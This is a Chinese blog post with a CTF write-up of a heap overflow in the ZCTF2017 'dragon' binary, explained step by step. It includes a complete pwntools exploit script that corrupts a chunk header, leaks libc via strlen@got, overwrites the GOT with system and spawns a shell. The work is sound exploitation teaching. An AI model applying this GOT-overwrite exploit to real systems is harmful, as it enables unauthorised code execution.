• 堆利用小结


    堆利用小结

    关于堆的利用原理比较复杂,今天就只分析一个最简单的堆溢出,后面关于UAF,double free,unlink等的一些相关东西,我抽个集中的时间再总结写出来。这里就用一道ZCTF2017 dragon的一道堆溢出的题来分析:

    这是一个64位的程序,开启了cannary 和PIE。

    接下来我们找洞:

     可以看到,在add函数的strdup函数处创建堆的时候出现了漏洞。导致在edit写入的数据的时候,可以写入的数据量大于strdup创建的堆,导致堆溢出,然后就可以覆写下一个堆的内容,进而leak地址和修改got。原理如下图:

     

    脚本如下:

     1 from pwn import *
     2  
     3 debug = 1 
     4 #r = remote('58.213.63.30', 11501) 
     5 r = process("./dragon")
     6 context.log_level = 'debug'
     7    
     8 def add(size, name, content):
     9     r.recvuntil('>> ')
    10     r.sendline('1')
    11     r.recvuntil(':')
    12     r.sendline(str(size))
    13     r.recvuntil(':')
    14     r.sendline(name)
    15     r.recvuntil(':')
    16     r.sendline(content)
    17     
    18 def edit(id, content):
    19     r.recvuntil('>> ')
    20     r.sendline('2')
    21     r.recvuntil(':')
    22     r.sendline(str(id))
    23     r.recvuntil(':')
    24     r.write(content)
    25     
    26 def show(id):
    27     r.recvuntil('>> ')
    28     r.sendline('4')
    29     r.recvuntil(':')
    30     r.sendline(str(id))
    31     
    32 def delete(id):
    33     r.recvuntil('>> ')
    34     r.sendline('3')
    35     r.recvuntil(':')
    36     r.sendline(str(id))
    37       
    38 add(0x20, 'AAAA', 'AAAA')
    39 add(0x20, 'BBBB', 'B'*0x18)
    40 add(0x20, 'CCCC', 'C'*0x18)
    41 
    42 edit(0, 'A'*0x18+p64(0xd1)) 
    43 
    44 delete(1)
    45 
    46 add(0x20, 'DDDD', 'D'*0x18)
    47 
    48 strlen_got = 0x602028
    49 
    50 add(0x10, 'EEEE', p64(strlen_got)+'E'*0x10)
    51 edit(3, p64(strlen_got)) 
    52 
    53 show(2)
    54 r.recvuntil('content: ')
    55 strlen_addr = u64(r.readline()[:-1].ljust(8, 'x00'))
    56 print "[*] strlen addr:{0}".format(hex(strlen_addr))
    57 #libc = ELF("./libc-2.19.so")
    58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    59 libc_base = strlen_addr - libc.symbols['strlen']
    60 system_addr = libc_base + libc.symbols['system'] 
    61 #gdb.attach(r,open('bb')) 
    62 print"system_addr",hex(system_addr)
    63 edit(2, p64(system_addr))
    64     
    65 edit(0, '/bin/shx00')
    66 r.interactive()

     现在我们来对这道题仔细的研究下:

    首先申请了3组堆,每add一个对象会创建三个堆,分别为空堆 + name + content。

     

     然后拓展堆,并且释放到 Unsortbins:

     

     然后构造两组堆!DDD和EEE。

     

    可以看到 0xdb9100处,也就是我们把strlen@got的地址写入了,EEEE堆的内容(content)处:

     

    这样我们在list(2)的时候,就可以leak出strlen的地址了,进而获取libc的基地址,获取system的地址,写入system地址,再传入参数。

     这里有一个坑啊,通过read函数,改写strlen@got,因为read的指针指向EEEE的content,直接写入数据就行了。

    然后就是调动system("/bin/sh")喽!

     

  • 相关阅读:
    Jquery源码分析(一)
    Lazyload 延迟加载效果
    20100128
    Linux共享库(so)动态加载和升级
    shell 数组
    Git常用命令解说
    linux shell 数组建立及使用技巧
    linux下查看用户及用户组的方法
    Zypper 用法
    linux shell 数组的长度计算、修改、循环输出等操作
  • 原文地址:https://www.cnblogs.com/Yable/p/7979467.html
Copyright © 2020-2023  润新知